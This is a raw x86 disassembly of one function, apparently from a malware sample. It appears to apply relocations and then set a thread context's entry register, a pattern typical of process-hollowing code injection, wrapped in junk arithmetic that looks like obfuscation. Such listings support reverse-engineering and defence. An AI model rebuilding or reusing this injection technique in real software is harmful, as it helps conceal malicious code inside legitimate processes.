mov dword [esp + 0x1a8], 0x2b
mov dword [esp + 0x1ac], 0x25
mov dword [esp + 0x1b0], 0xffffff08
movups xmm0, xmmword [esp + 0x1a4]
lea edi, [edi + eax*2]
mov dword [esp + 0x1b4], 0x32
mov dword [esp + 0x1b8], 0x4c
mov dword [esp + 0x1bc], 0x41
mov dword [esp + 0x1c0], 0xfffffef5
movups xmm2, xmmword [esp + 0x1b4]
mov dword [esp + 0xec], edi
mov edi, ecx
mov dword [esp + 0x1dc], 0x3d
mov dword [esp + 0x1e0], 0x5b
mov dword [esp + 0x1e4], 0xffffff5b
push 0xd
pop ecx
mov eax, ebx
add ecx, dword [esp + eax*4 + 0x1dc]
inc eax
cmp eax, 3
jl 0x1001a6d1
movups xmm1, xmm0
mov dword [esp + 0xb8], ecx
psrldq xmm0, 8
lea eax, [esi - 0x132d12cc]
paddd xmm1, xmm0
xor eax, 0xecacfb46
sub eax, 0x1a5f13da
movups xmm0, xmm1
psrldq xmm0, 4
xor esi, 0xb175673
paddd xmm1, xmm0
mov dword [0x100256a8], eax
movd eax, xmm1
movups xmm1, xmm2
movaps xmm0, xmm1
mov dword [0x10025654], esi
psrldq xmm0, 8
paddd xmm1, xmm0
add eax, 0x53
movups xmm0, xmm1
mov dword [esp + 0xfc], eax
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x4c
mov dword [esp + 0xf4], eax
mov eax, dword [esp + 0xc8]
movzx ecx, word [eax + edi*2]
mov eax, ecx
shr eax, 0xc
cmp eax, dword [esp + 0xb8]
je 0x1001a7f4
mov eax, dword [esp + 0xfc]
and ecx, 0xfff
add ecx, dword [edx]
mov dword [esp + 0x4c], eax
lea eax, [esp + 0xe0]
push eax
push 4
lea eax, [esp + 0x54]
mov dword [esp + 0xc0], ecx
push eax
mov eax, dword [esp + 0x50]
add eax, ecx
push eax
push dword [esp + 0x114]
call fcn.1001e913
push dword [esp + 0x108]
mov eax, dword [esp + 0x110]
add dword [esp + 0x64], eax
lea eax, [esp + 0x64]
push 4
push eax
mov eax, dword [esp + 0x64]
add eax, dword [esp + 0xd8]
push eax
push dword [esp + 0x128]
call fcn.1001e91d
mov esi, dword [0x10025654]
add esp, 0x28
movups xmm2, xmmword [esp + 0x1b4]
mov edx, dword [esp + 0x3c]
movups xmm0, xmmword [esp + 0x1a4]
inc edi
cmp edi, dword [esp + 0xf0]
jb 0x1001a6cc
mov edi, dword [esp + 0xec]
mov dword [esp + 0x40], esi
movups xmm0, xmmword [esp + 0x14]
mov eax, dword [esp + 0x50]
cmp edi, dword [esp + 0x58]
jb 0x1001a5cb
mov edi, dword [esp + 0x48]
mov ecx, dword [esp + 0x5c]
inc ecx
mov dword [esp + 0x5c], ecx
movzx eax, word [edi + 6]
cmp ecx, eax
mov ecx, dword [0x1002576c]
jl 0x1001a357
mov ecx, 0x2cc
call fcn.100161b5
mov esi, eax
imul eax, dword [0x100256a8], 0xedb88d66
push esi
mov dword [esi], 0x10002
push dword [esp + 0x10c]
mov dword [0x100256a8], eax
call fcn.1001e8ff
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x4c]
mov dword [esi + 0xb0], eax
push esi
push dword [esp + 0x114]
call fcn.1001e909
push dword [esp + 0x194]
push dword [esp + 0x11c]
call fcn.1001e8f5
mov cl, byte [str.file_error]
add esp, 0x18
test cl, cl
je 0x1001a8c1
inc ebx
cmp ebx, 0x9a5
jg 0x1001a8d6
cmp byte [ebx + str.file_error], 0
jne 0x1001a8af
mov eax, dword [0x1002576c]
mov edx, eax
xor edx, 0xa7eb7d71
mov dword [0x10025654], edx
jmp 0x1001a90b
call fcn.1001757f
mov eax, dword [0x1002576c]
mov cl, byte [str.file_error]
or eax, 0x8e0e21cc
mov dword [0x1002576c], eax
jmp 0x1001a8c6
sub cl, 0x30
cmp cl, 9
ja 0x1001a911
mov ecx, dword [esp + 0x114]
inc ecx
mov dword [esp + 0x114], ecx
mov cl, byte [ecx]
test cl, cl
jne 0x1001a8f2
jmp 0x1001a91c
lea eax, [edx + 0x356ffe63]
mov dword [0x1002576c], eax
and eax, 0xfe671674
mov ecx, esi
mov dword [0x100256a8], eax
call fcn.10016528
mov edx, dword [0x10025654]
mov ecx, edx
mov eax, dword [esp + 0x8c]
and ecx, 0x330fb28c
xor edx, 0x2c415dc0
mov dword [0x1002576c], ecx
mov dword [0x10025654], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret